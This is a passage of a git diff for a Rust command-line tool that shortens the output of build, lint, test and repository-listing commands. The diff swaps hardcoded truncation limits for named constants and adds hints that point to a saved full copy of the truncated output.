svc["spec"]["type"].as_str().unwrap_or("-"); + let ports: Vec = svc["spec"]["ports"] + .as_array() + .map(|arr| { + arr.iter() + .map(|p| { + let port = p["port"].as_i64().unwrap_or(0); + let target = p["targetPort"] + .as_i64() + .or_else(|| p["targetPort"].as_str().and_then(|s| s.parse().ok())) + .unwrap_or(port); + if port == target { + format!("{}", port) + } else { + format!("{}→{}", port, target) + } + }) + .collect() + }) + .unwrap_or_default(); + format!(" {}/{} {} [{}]", ns, name, svc_type, ports.join(",")) + }) + .collect(); + + const MAX_KUBECTL_SERVICES: usize = 15; + for line in all_lines.iter().take(MAX_KUBECTL_SERVICES) { + out.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_KUBECTL_SERVICES { + out.push_str(&format!(" … +{} more", all_lines.len() - MAX_KUBECTL_SERVICES)); + let all_text = all_lines.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_text, "kubectl-services", MAX_KUBECTL_SERVICES + 1) + { + out.push_str(&format!(" {}", hint)); + } + out.push('\n'); } out } @@ -444,6 +460,7 @@ fn kubectl_logs(args: &[String], _verbose: u8) -> Result { /// Expects tab-separated lines: Name\tImage\tStatus\tPorts /// (no header row — `--format` output is headerless) pub fn format_compose_ps(raw: &str) -> String { + const MAX_COMPOSE_SERVICES: usize = 20; let lines: Vec<&str> = raw.lines().filter(|l| !l.trim().is_empty()).collect(); if lines.is_empty() { @@ -452,16 +469,19 @@ pub fn format_compose_ps(raw: &str) -> String { let mut result = format!("[compose] {} services:\n", lines.len()); - for line in lines.iter().take(20) { - let parts: Vec<&str> = line.split('\t').collect(); - if parts.len() >= 4 { + // Pre-build all formatted lines so the tee file matches what the agent sees. + let all_formatted: Vec = lines + .iter() + .filter_map(|line| { + let parts: Vec<&str> = line.split('\t').collect(); + if parts.len() < 4 { + return None; + } let name = parts[0]; let image = parts[1]; let status = parts[2]; let ports = parts[3]; - let short_image = image.split('/').next_back().unwrap_or(image); - let port_str = if ports.trim().is_empty() { String::new() } else { @@ -472,15 +492,20 @@ pub fn format_compose_ps(raw: &str) -> String { format!(" [{}]", compact) } }; + Some(format!(" {} ({}) {}{}", name, short_image, status, port_str)) + }) + .collect(); - result.push_str(&format!( - " {} ({}) {}{}\n", - name, short_image, status, port_str - )); - } + for line in all_formatted.iter().take(MAX_COMPOSE_SERVICES) { + result.push_str(line); + result.push('\n'); } - if lines.len() > 20 { - result.push_str(&format!(" … +{} more\n", lines.len() - 20)); + if all_formatted.len() > MAX_COMPOSE_SERVICES { + result.push_str(&format!(" … +{} more\n", all_formatted.len() - MAX_COMPOSE_SERVICES)); + let all_text = all_formatted.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "compose-ps", MAX_COMPOSE_SERVICES + 1) { + result.push_str(&format!(" {}\n", hint)); + } } result.trim_end().to_string() diff --git a/src/cmds/dotnet/dotnet_cmd.rs b/src/cmds/dotnet/dotnet_cmd.rs index 4c307ff509..32d0244862 100644 --- a/src/cmds/dotnet/dotnet_cmd.rs +++ b/src/cmds/dotnet/dotnet_cmd.rs @@ -369,7 +369,13 @@ fn format_dotnet_format_output( let mut output = format!("Format: {} files need formatting", changed_count); output.push_str("\n---------------------------------------"); - for (index, file) in summary.files_with_changes.iter().take(20).enumerate() { + const MAX_FORMAT_FILES: usize = 20; + for (index, file) in summary + .files_with_changes + .iter() + .take(MAX_FORMAT_FILES) + .enumerate() + { let first_change = &file.changes[0]; let rule = if first_change.diagnostic_id.is_empty() { first_change.format_description.as_str() @@ -386,8 +392,21 @@ fn format_dotnet_format_output( )); } - if changed_count > 20 { - output.push_str(&format!("\n... +{} more files", changed_count - 20)); + if changed_count > MAX_FORMAT_FILES { + output.push_str(&format!("\n… +{} more files", changed_count - MAX_FORMAT_FILES)); + let all_files = summary + .files_with_changes + .iter() + .map(|f| f.path.as_str()) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_files, + "dotnet-format-files", + MAX_FORMAT_FILES + 1, + ) { + output.push_str(&format!(" {}", hint)); + } } output.push_str(&format!( @@ -979,31 +998,60 @@ fn format_build_output(summary: &binlog::BuildSummary, _binlog_path: &Path) -> S let status_icon = if summary.succeeded { "ok" } else { "fail" }; let duration = summary.duration_text.as_deref().unwrap_or("unknown"); + const MAX_BUILD_ERRORS: usize = 20; + const MAX_BUILD_WARNINGS: usize = 10; + let mut errors = String::new(); if !summary.errors.is_empty() { errors.push_str("Errors:\n"); - for issue in summary.errors.iter().take(20) { + for issue in summary.errors.iter().take(MAX_BUILD_ERRORS) { errors.push_str(&format!("{}\n", format_issue(issue, "error"))); } - if summary.errors.len() > 20 { + if summary.errors.len() > MAX_BUILD_ERRORS { errors.push_str(&format!( - " ... +{} more errors\n", - summary.errors.len() - 20 + " … +{} more errors\n", + summary.errors.len() - MAX_BUILD_ERRORS )); + let all_errors = summary + .errors + .iter() + .map(|e| format_issue(e, "error")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_errors, + "dotnet-build-errors", + MAX_BUILD_ERRORS + 1, + ) { + errors.push_str(&format!(" {}\n", hint)); + } } } let mut warnings = String::new(); if !summary.warnings.is_empty() { warnings.push_str("Warnings:\n"); - for issue in summary.warnings.iter().take(10) { + for issue in summary.warnings.iter().take(MAX_BUILD_WARNINGS) { warnings.push_str(&format!("{}\n", format_issue(issue, "warning"))); } - if summary.warnings.len() > 10 { + if summary.warnings.len() > MAX_BUILD_WARNINGS { warnings.push_str(&format!( - " ... +{} more warnings\n", - summary.warnings.len() - 10 + " … +{} more warnings\n", + summary.warnings.len() - MAX_BUILD_WARNINGS )); + let all_warnings = summary + .warnings + .iter() + .map(|w| format_issue(w, "warning")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_warnings, + "dotnet-build-warnings", + MAX_BUILD_WARNINGS + 1, + ) { + warnings.push_str(&format!(" {}\n", hint)); + } } } @@ -1089,31 +1137,82 @@ fn format_test_output( } if summary.failed_tests.len() > 15 { failed_tests_section.push_str(&format!( - "... +{} more failed tests\n", + "… +{} more failed tests\n", summary.failed_tests.len() - 15 )); + let all_failed = summary + .failed_tests + .iter() + .skip(15) + .map(|t| { + let mut s = t.name.clone(); + for detail in &t.details { + s.push_str(&format!("\n {}", truncate(detail, 320))); + } + s + }) + .collect::>() + .join("\n\n"); + if let Some(hint) = + crate::core::tee::force_tee_hint(&all_failed, "dotnet-test-failures") + { + failed_tests_section.push_str(&format!(" {}\n", hint)); + } } } + const MAX_TEST_ERRORS: usize = 10; + const MAX_TEST_WARNINGS: usize = 10; + let mut errors_section = String::new(); if !errors.is_empty() { errors_section.push_str("Errors:\n"); - for issue in errors.iter().take(10) { + for issue in errors.iter().take(MAX_TEST_ERRORS) { errors_section.push_str(&format!("{}\n", format_issue(issue, "error"))); } - if errors.len() > 10 { - errors_section.push_str(&format!(" ... +{} more errors\n", errors.len() - 10)); + if errors.len() > MAX_TEST_ERRORS { + errors_section.push_str(&format!( + " … +{} more errors\n", + errors.len() - MAX_TEST_ERRORS + )); + let all_errors = errors + .iter() + .map(|e| format_issue(e, "error")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_errors, + "dotnet-test-errors", + MAX_TEST_ERRORS + 1, + ) { + errors_section.push_str(&format!(" {}\n", hint)); + } } } let mut warnings_section = String::new(); if !warnings.is_empty() { warnings_section.push_str("Warnings:\n"); - for issue in warnings.iter().take(10) { + for issue in warnings.iter().take(MAX_TEST_WARNINGS) { warnings_section.push_str(&format!("{}\n", format_issue(issue, "warning"))); } - if warnings.len() > 10 { - warnings_section.push_str(&format!(" ... +{} more warnings\n", warnings.len() - 10)); + if warnings.len() > MAX_TEST_WARNINGS { + warnings_section.push_str(&format!( + " … +{} more warnings\n", + warnings.len() - MAX_TEST_WARNINGS + )); + let all_warnings = warnings + .iter() + .map(|w| format_issue(w, "warning")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_warnings, + "dotnet-test-warnings", + MAX_TEST_WARNINGS + 1, + ) { + warnings_section.push_str(&format!(" {}\n", hint)); + } } } @@ -1155,25 +1254,58 @@ fn format_restore_output( let status_icon = if has_errors { "fail" } else { "ok" }; let duration = summary.duration_text.as_deref().unwrap_or("unknown"); + const MAX_FORMAT_ERRORS: usize = 20; + const MAX_FORMAT_WARNINGS: usize = 10; + let mut errors_section = String::new(); if !errors.is_empty() { errors_section.push_str("Errors:\n"); - for issue in errors.iter().take(20) { + for issue in errors.iter().take(MAX_FORMAT_ERRORS) { errors_section.push_str(&format!("{}\n", format_issue(issue, "error"))); } - if errors.len() > 20 { - errors_section.push_str(&format!(" ... +{} more errors\n", errors.len() - 20)); + if errors.len() > MAX_FORMAT_ERRORS { + errors_section.push_str(&format!( + " … +{} more errors\n", + errors.len() - MAX_FORMAT_ERRORS + )); + let all_errors = errors + .iter() + .map(|e| format_issue(e, "error")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_errors, + "dotnet-format-errors", + MAX_FORMAT_ERRORS + 1, + ) { + errors_section.push_str(&format!(" {}\n", hint)); + } } } let mut warnings_section = String::new(); if !warnings.is_empty() { warnings_section.push_str("Warnings:\n"); - for issue in warnings.iter().take(10) { + for issue in warnings.iter().take(MAX_FORMAT_WARNINGS) { warnings_section.push_str(&format!("{}\n", format_issue(issue, "warning"))); } - if warnings.len() > 10 { - warnings_section.push_str(&format!(" ... +{} more warnings\n", warnings.len() - 10)); + if warnings.len() > MAX_FORMAT_WARNINGS { + warnings_section.push_str(&format!( + " … +{} more warnings\n", + warnings.len() - MAX_FORMAT_WARNINGS + )); + let all_warnings = warnings + .iter() + .map(|w| format_issue(w, "warning")) + .collect::>() + .join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint( + &all_warnings, + "dotnet-format-warnings", + MAX_FORMAT_WARNINGS + 1, + ) { + warnings_section.push_str(&format!(" {}\n", hint)); + } } } diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index 3535fd4ec7..cd22e3f919 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -249,25 +249,27 @@ fn format_pr_list(json: &Value, ultra_compact: bool) -> String { } else { "Pull Requests\n" }); - for pr in prs.iter().take(20) { - let number = pr["number"].as_i64().unwrap_or(0); - let title = pr["title"].as_str().unwrap_or("???"); - let state = pr["state"].as_str().unwrap_or("???"); - let author = pr["author"]["login"].as_str().unwrap_or("???"); - let icon = state_icon(state, ultra_compact); - out.push_str(&format!( - " {} #{} {} ({})\n", - icon, - number, - truncate(title, 60), - author - )); - } - if prs.len() > 20 { - out.push_str(&format!( - " ... {} more (use gh pr list for all)\n", - prs.len() - 20 - )); + let all_lines: Vec = prs + .iter() + .map(|pr| { + let number = pr["number"].as_i64().unwrap_or(0); + let title = pr["title"].as_str().unwrap_or("???"); + let state = pr["state"].as_str().unwrap_or("???"); + let author = pr["author"]["login"].as_str().unwrap_or("???"); + let icon = state_icon(state, ultra_compact); + format!(" {} #{} {} ({})", icon, number, truncate(title, 60), author) + }) + .collect(); + const MAX_LIST: usize = 20; + for line in all_lines.iter().take(MAX_LIST) { + out.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_LIST { + out.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "gh-prs", MAX_LIST + 1) { + out.push_str(&format!(" {}\n", hint)); + } } out } @@ -589,25 +591,32 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { } let mut out = String::new(); out.push_str("Issues\n"); - for issue in issues.iter().take(20) { - let number = issue["number"].as_i64().unwrap_or(0); - let title = issue["title"].as_str().unwrap_or("???"); - let state = issue["state"].as_str().unwrap_or("???"); - let icon = if ultra_compact { - if state == "OPEN" { - "O" + let all_lines: Vec = issues + .iter() + .map(|issue| { + let number = issue["number"].as_i64().unwrap_or(0); + let title = issue["title"].as_str().unwrap_or("???"); + let state = issue["state"].as_str().unwrap_or("???"); + let icon = if ultra_compact { + if state == "OPEN" { "O" } else { "C" } + } else if state == "OPEN" { + "[open]" } else { - "C" - } - } else if state == "OPEN" { - "[open]" - } else { - "[closed]" - }; - out.push_str(&format!(" {} #{} {}\n", icon, number, truncate(title, 60))); - } - if issues.len() > 20 { - out.push_str(&format!(" ... {} more\n", issues.len() - 20)); + "[closed]" + }; + format!(" {} #{} {}", icon, number, truncate(title, 60)) + }) + .collect(); + const MAX_LIST: usize = 20; + for line in all_lines.iter().take(MAX_LIST) { + out.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_LIST { + out.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "gh-issues", MAX_LIST + 1) { + out.push_str(&format!(" {}\n", hint)); + } } out } diff --git a/src/cmds/git/glab_cmd.rs b/src/cmds/git/glab_cmd.rs index 139ed58987..01a04055d8 100644 --- a/src/cmds/git/glab_cmd.rs +++ b/src/cmds/git/glab_cmd.rs @@ -304,27 +304,27 @@ fn format_mr_list(json: &Value, ultra_compact: bool) -> String { "Merge Requests\n" }); - for mr in mrs.iter().take(20) { - let iid = mr["iid"].as_i64().unwrap_or(0); - let title = mr["title"].as_str().unwrap_or("???"); - let state = mr["state"].as_str().unwrap_or("???"); - let author = mr["author"]["username"].as_str().unwrap_or("???"); - - let icon = state_icon(state, ultra_compact); - filtered.push_str(&format!( - " {} !{} {} ({})\n", - icon, - iid, - truncate(title, 60), - author - )); - } - - if mrs.len() > 20 { - filtered.push_str(&format!( - " ... {} more (use glab mr list for all)\n", - mrs.len() - 20 - )); + let all_lines: Vec = mrs + .iter() + .map(|mr| { + let iid = mr["iid"].as_i64().unwrap_or(0); + let title = mr["title"].as_str().unwrap_or("???"); + let state = mr["state"].as_str().unwrap_or("???"); + let author = mr["author"]["username"].as_str().unwrap_or("???"); + let icon = state_icon(state, ultra_compact); + format!(" {} !{} {} ({})", icon, iid, truncate(title, 60), author) + }) + .collect(); + const MAX_LIST: usize = 20; + for line in all_lines.iter().take(MAX_LIST) { + filtered.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_LIST { + filtered.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "glab-mrs", MAX_LIST + 1) { + filtered.push_str(&format!(" {}\n", hint)); + } } filtered @@ -524,27 +524,32 @@ fn format_issue_list(json: &Value, ultra_compact: bool) -> String { let mut filtered = String::new(); filtered.push_str("Issues\n"); - for issue in issues.iter().take(20) { - let iid = issue["iid"].as_i64().unwrap_or(0); - let title = issue["title"].as_str().unwrap_or("???"); - let state = issue["state"].as_str().unwrap_or("???"); - - let icon = if ultra_compact { - if state == "opened" { - "O" + let all_lines: Vec = issues + .iter() + .map(|issue| { + let iid = issue["iid"].as_i64().unwrap_or(0); + let title = issue["title"].as_str().unwrap_or("???"); + let state = issue["state"].as_str().unwrap_or("???"); + let icon = if ultra_compact { + if state == "opened" { "O" } else { "C" } + } else if state == "opened" { + "[open]" } else { - "C" - } - } else if state == "opened" { - "[open]" - } else { - "[closed]" - }; - filtered.push_str(&format!(" {} #{} {}\n", icon, iid, truncate(title, 60))); - } - - if issues.len() > 20 { - filtered.push_str(&format!(" ... {} more\n", issues.len() - 20)); + "[closed]" + }; + format!(" {} #{} {}", icon, iid, truncate(title, 60)) + }) + .collect(); + const MAX_LIST: usize = 20; + for line in all_lines.iter().take(MAX_LIST) { + filtered.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_LIST { + filtered.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_text, "glab-issues", MAX_LIST + 1) { + filtered.push_str(&format!(" {}\n", hint)); + } } filtered @@ -646,13 +651,28 @@ fn format_ci_list(json: &Value, ultra_compact: bool) -> String { let mut filtered = String::new(); filtered.push_str("Pipelines\n"); - for pipeline in pipelines.iter().take(10) { - let id = pipeline["id"].as_i64().unwrap_or(0); - let status = pipeline["status"].as_str().unwrap_or("???"); - let ref_name = pipeline["ref"].as_str().unwrap_or("???"); - - let icon = pipeline_icon(status, ultra_compact); - filtered.push_str(&format!(" {} #{} {} ({})\n", icon, id, status, ref_name)); + let all_lines: Vec = pipelines + .iter() + .map(|pipeline| { + let id = pipeline["id"].as_i64().unwrap_or(0); + let status = pipeline["status"].as_str().unwrap_or("???"); + let ref_name = pipeline["ref"].as_str().unwrap_or("???"); + let icon = pipeline_icon(status, ultra_compact); + format!(" {} #{} {} ({})", icon, id, status, ref_name) + }) + .collect(); + const MAX_CI_LIST: usize = 10; + for line in all_lines.iter().take(MAX_CI_LIST) { + filtered.push_str(&format!("{}\n", line)); + } + if all_lines.len() > MAX_CI_LIST { + filtered.push_str(&format!(" … +{} more\n", all_lines.len() - MAX_CI_LIST)); + let all_text = all_lines.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_text, "glab-pipelines", MAX_CI_LIST + 1) + { + filtered.push_str(&format!(" {}\n", hint)); + } } filtered } diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index 965a7571b8..f70f20945a 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -587,12 +587,17 @@ pub(crate) fn filter_go_build(output: &str) -> String { result.push_str(&format!("Go build: {} errors\n", errors.len())); result.push_str("═══════════════════════════════════════\n"); - for (i, error) in errors.iter().take(20).enumerate() { + const MAX_GO_BUILD_ERRORS: usize = 20; + for (i, error) in errors.iter().take(MAX_GO_BUILD_ERRORS).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, truncate(error, 120))); } - if errors.len() > 20 { - result.push_str(&format!("\n... +{} more errors\n", errors.len() - 20)); + if errors.len() > MAX_GO_BUILD_ERRORS { + result.push_str(&format!("\n… +{} more errors\n", errors.len() - MAX_GO_BUILD_ERRORS)); + let all_errors = errors.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_errors, "go-build", MAX_GO_BUILD_ERRORS + 1) { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() @@ -674,12 +679,17 @@ fn filter_go_vet(output: &str) -> String { result.push_str(&format!("Go vet: {} issues\n", issues.len())); result.push_str("═══════════════════════════════════════\n"); - for (i, issue) in issues.iter().take(20).enumerate() { + const MAX_GO_VET_ISSUES: usize = 20; + for (i, issue) in issues.iter().take(MAX_GO_VET_ISSUES).enumerate() { result.push_str(&format!("{}. {}\n", i + 1, truncate(issue, 120))); } - if issues.len() > 20 { - result.push_str(&format!("\n... +{} more issues\n", issues.len() - 20)); + if issues.len() > MAX_GO_VET_ISSUES { + result.push_str(&format!("\n… +{} more issues\n", issues.len() - MAX_GO_VET_ISSUES)); + let all_issues = issues.join("\n"); + if let Some(hint) = crate::core::tee::force_tee_tail_hint(&all_issues, "go-vet", MAX_GO_VET_ISSUES + 1) { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() diff --git a/src/cmds/js/lint_cmd.rs b/src/cmds/js/lint_cmd.rs index 04ea8a5dbf..78e146f35f 100644 --- a/src/cmds/js/lint_cmd.rs +++ b/src/cmds/js/lint_cmd.rs @@ -282,8 +282,9 @@ fn filter_eslint_json(output: &str) -> String { } // Show top files with most issues, plus the top rules in each + const MAX_FILES: usize = 10; result.push_str("Top files:\n"); - for (file_result, count) in by_file.iter().take(10) { + for (file_result, count) in by_file.iter().take(MAX_FILES) { let short_path = compact_path(&file_result.file_path); result.push_str(&format!(" {} ({} issues)\n", short_path, count)); @@ -300,8 +301,18 @@ fn filter_eslint_json(output: &str) -> String { } } - if by_file.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", by_file.len() - 10)); + if by_file.len() > MAX_FILES { + result.push_str(&format!("\n… +{} more files\n", by_file.len() - MAX_FILES)); + let all_file_lines = by_file + .iter() + .map(|(r, count)| format!("{} ({} issues)", compact_path(&r.file_path), count)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_file_lines, "eslint-files", MAX_FILES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() @@ -397,8 +408,9 @@ fn filter_pylint_json(output: &str) -> String { } // Show top files + const MAX_FILES: usize = 10; result.push_str("Top files:\n"); - for (file, count) in file_counts.iter().take(10) { + for (file, count) in file_counts.iter().take(MAX_FILES) { let short_path = compact_path(file); result.push_str(&format!(" {} ({} issues)\n", short_path, count)); @@ -417,8 +429,18 @@ fn filter_pylint_json(output: &str) -> String { } } - if file_counts.len() > 10 { - result.push_str(&format!("\n... +{} more files\n", file_counts.len() - 10)); + if file_counts.len() > MAX_FILES { + result.push_str(&format!("\n… +{} more files\n", file_counts.len() - MAX_FILES)); + let all_file_lines = file_counts + .iter() + .map(|(file, count)| format!("{} ({} issues)", compact_path(file), count)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_file_lines, "pylint-files", MAX_FILES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() @@ -450,12 +472,19 @@ fn filter_generic_lint(output: &str) -> String { result.push_str(&format!("Lint: {} errors, {} warnings\n", errors, warnings)); result.push_str("═══════════════════════════════════════\n"); - for issue in issues.iter().take(20) { + const MAX_ISSUES: usize = 20; + for issue in issues.iter().take(MAX_ISSUES) { result.push_str(&format!("{}\n", truncate(issue, 100))); } - if issues.len() > 20 { - result.push_str(&format!("\n... +{} more issues\n", issues.len() - 20)); + if issues.len() > MAX_ISSUES { + result.push_str(&format!("\n… +{} more issues\n", issues.len() - MAX_ISSUES)); + let all_issues = issues.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_issues, "lint-issues", MAX_ISSUES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() diff --git a/src/cmds/js/pnpm_cmd.rs b/src/cmds/js/pnpm_cmd.rs index ce5f98444e..0add005557 100644 --- a/src/cmds/js/pnpm_cmd.rs +++ b/src/cmds/js/pnpm_cmd.rs @@ -310,11 +310,17 @@ fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { lines.push(format!(" {} {}", dep.name, dep.current_version)); } if cap && prod.len() > MAX_LISTING { - lines.push(format!( - " … +{} more — run `pnpm list --prod | tail -n +{}`", - prod.len() - MAX_LISTING, - MAX_LISTING + 3 - )); + lines.push(format!(" … +{} more", prod.len() - MAX_LISTING)); + let all_prod = prod + .iter() + .map(|dep| format!(" {} {}", dep.name, dep.current_version)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_prod, "pnpm-prod", MAX_LISTING + 1) + { + lines.push(format!(" {}", hint)); + } } } @@ -325,11 +331,17 @@ fn format_dependency_listing(state: &DependencyState, cap: bool) -> String { lines.push(format!(" {} {}", dep.name, dep.current_version)); } if cap && dev.len() > MAX_LISTING { - lines.push(format!( - " … +{} more — run `pnpm list --dev | tail -n +{}`", - dev.len() - MAX_LISTING, - MAX_LISTING + 3 - )); + lines.push(format!(" … +{} more", dev.len() - MAX_LISTING)); + let all_dev = dev + .iter() + .map(|dep| format!(" {} {}", dep.name, dep.current_version)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_dev, "pnpm-dev", MAX_LISTING + 1) + { + lines.push(format!(" {}", hint)); + } } } @@ -628,13 +640,8 @@ mod tests { let prod_count = 60usize; assert!( out.contains(&format!("… +{} more", prod_count - MAX_LISTING)), - "truncation count missing" - ); - assert!( - out.contains(&format!("tail -n +{}", MAX_LISTING + 3)), - "tail offset missing: got\n{out}" + "truncation count missing: got\n{out}" ); - assert!(out.contains("pnpm list --prod"), "hint command missing"); } #[test] diff --git a/src/cmds/python/pytest_cmd.rs b/src/cmds/python/pytest_cmd.rs index cda1768f2a..0bd5e9aa61 100644 --- a/src/cmds/python/pytest_cmd.rs +++ b/src/cmds/python/pytest_cmd.rs @@ -272,6 +272,10 @@ fn build_pytest_summary( if failures.len() > 5 { result.push_str(&format!("\n… +{} more failures\n", failures.len() - 5)); + let all_failures = failures.join("\n\n"); + if let Some(hint) = crate::core::tee::force_tee_hint(&all_failures, "pytest-failures") { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() diff --git a/src/cmds/ruby/rubocop_cmd.rs b/src/cmds/ruby/rubocop_cmd.rs index 5ad541ca76..bed3153f7f 100644 --- a/src/cmds/ruby/rubocop_cmd.rs +++ b/src/cmds/ruby/rubocop_cmd.rs @@ -184,7 +184,7 @@ fn filter_rubocop_json(output: &str) -> String { } if sorted_offenses.len() > max_offenses_per_file { result.push_str(&format!( - " ... +{} more\n", + " … +{} more\n", sorted_offenses.len() - max_offenses_per_file )); } @@ -192,9 +192,19 @@ fn filter_rubocop_json(output: &str) -> String { if files_with_offenses.len() > max_files { result.push_str(&format!( - "\n... +{} more files\n", + "\n… +{} more files\n", files_with_offenses.len() - max_files )); + let all_files = files_with_offenses + .iter() + .map(|f| compact_ruby_path(&f.path)) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_files, "rubocop-files", max_files + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } if correctable_count > 0 { @@ -530,7 +540,7 @@ mod tests { let result = filter_rubocop_json(json); assert!(result.contains(":5 Cop/E"), "should show 5th offense"); assert!(!result.contains(":6 Cop/F"), "should not show 6th inline"); - assert!(result.contains("+2 more"), "should show overflow"); + assert!(result.contains("… +2 more"), "should show overflow"); } #[test] @@ -620,7 +630,7 @@ mod tests { ); let result = filter_rubocop_json(&json); assert!( - result.contains("+2 more files"), + result.contains("… +2 more files"), "should show +2 more files overflow: {}", result ); diff --git a/src/cmds/rust/cargo_cmd.rs b/src/cmds/rust/cargo_cmd.rs index 04f3f6324e..f1e75f1729 100644 --- a/src/cmds/rust/cargo_cmd.rs +++ b/src/cmds/rust/cargo_cmd.rs @@ -536,7 +536,12 @@ fn filter_cargo_install(output: &str) -> String { } if errors.len() > 15 { - result.push_str(&format!("\n... +{} more issues\n", errors.len() - 15)); + result.push_str(&format!("\n… +{} more issues\n", errors.len() - 15)); + let all_errors = errors.join("\n\n"); + if let Some(hint) = crate::core::tee::force_tee_hint(&all_errors, "cargo-build-errors") + { + result.push_str(&format!(" {}\n", hint)); + } } return result.trim().to_string(); @@ -835,7 +840,15 @@ fn filter_cargo_build(output: &str) -> String { } } if blocks.len() > 15 { - result.push_str(&format!("\n... +{} more issues\n", blocks.len() - 15)); + result.push_str(&format!("\n… +{} more issues\n", blocks.len() - 15)); + let all_blocks: String = blocks + .iter() + .map(|b| b.join("\n")) + .collect::>() + .join("\n\n"); + if let Some(hint) = crate::core::tee::force_tee_hint(&all_blocks, "cargo-check-issues") { + result.push_str(&format!(" {}\n", hint)); + } } result.trim().to_string() } @@ -1028,11 +1041,18 @@ pub(crate) fn filter_cargo_test(output: &str) -> String { if !failures.is_empty() { result.push_str(&format!("FAILURES ({}):\n", failures.len())); result.push_str("═══════════════════════════════════════\n"); - for (i, failure) in failures.iter().enumerate().take(10) { + const MAX_FAILURES: usize = 10; + for (i, failure) in failures.iter().enumerate().take(MAX_FAILURES) { result.push_str(&format!("{}. {}\n", i + 1, truncate(failure, 200))); } - if failures.len() > 10 { - result.push_str(&format!("\n... +{} more failures\n", failures.len() - 10)); + if failures.len() > MAX_FAILURES { + result.push_str(&format!("\n… +{} more failures\n", failures.len() - MAX_FAILURES)); + let all_failures = failures.join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_failures, "cargo-test-failures", MAX_FAILURES + 1) + { + result.push_str(&format!(" {}\n", hint)); + } } result.push('\n'); } @@ -1189,7 +1209,17 @@ fn filter_cargo_clippy(output: &str) -> String { result.push('\n'); } if error_blocks.len() > 10 { - result.push_str(&format!(" ... +{} more errors\n", error_blocks.len() - 10)); + result.push_str(&format!(" … +{} more errors\n", error_blocks.len() - 10)); + let all_blocks: String = error_blocks + .iter() + .map(|b| b.join("\n")) + .collect::>() + .join("\n\n"); + if let Some(hint) = + crate::core::tee::force_tee_hint(&all_blocks, "cargo-clippy-errors") + { + result.push_str(&format!(" {}\n", hint)); + } } } @@ -1197,18 +1227,29 @@ fn filter_cargo_clippy(output: &str) -> String { let mut rule_counts: Vec<_> = by_rule.iter().collect(); rule_counts.sort_by_key(|b| std::cmp::Reverse(b.1.len())); - for (rule, locations) in rule_counts.iter().take(15) { + const MAX_RULES: usize = 15; + for (rule, locations) in rule_counts.iter().take(MAX_RULES) { result.push_str(&format!(" {} ({}x)\n", rule, locations.len())); for loc in locations.iter().take(3) { result.push_str(&format!(" {}\n", loc)); } if locations.len() > 3 { - result.push_str(&format!(" ... +{} more\n", locations.len() - 3)); + result.push_str(&format!(" … +{} more\n", locations.len() - 3)); } } - if by_rule.len() > 15 { - result.push_str(&format!("\n... +{} more rules\n", by_rule.len() - 15)); + if by_rule.len() > MAX_RULES { + result.push_str(&format!("\n… +{} more rules\n", by_rule.len() - MAX_RULES)); + let all_rules = rule_counts + .iter() + .map(|(rule, locs)| format!("{} ({}x)", rule, locs.len())) + .collect::>() + .join("\n"); + if let Some(hint) = + crate::core::tee::force_tee_tail_hint(&all_rules, "cargo-clippy-rules", MAX_RULES + 1) + { + result.push_str(&format!(" {}\n", 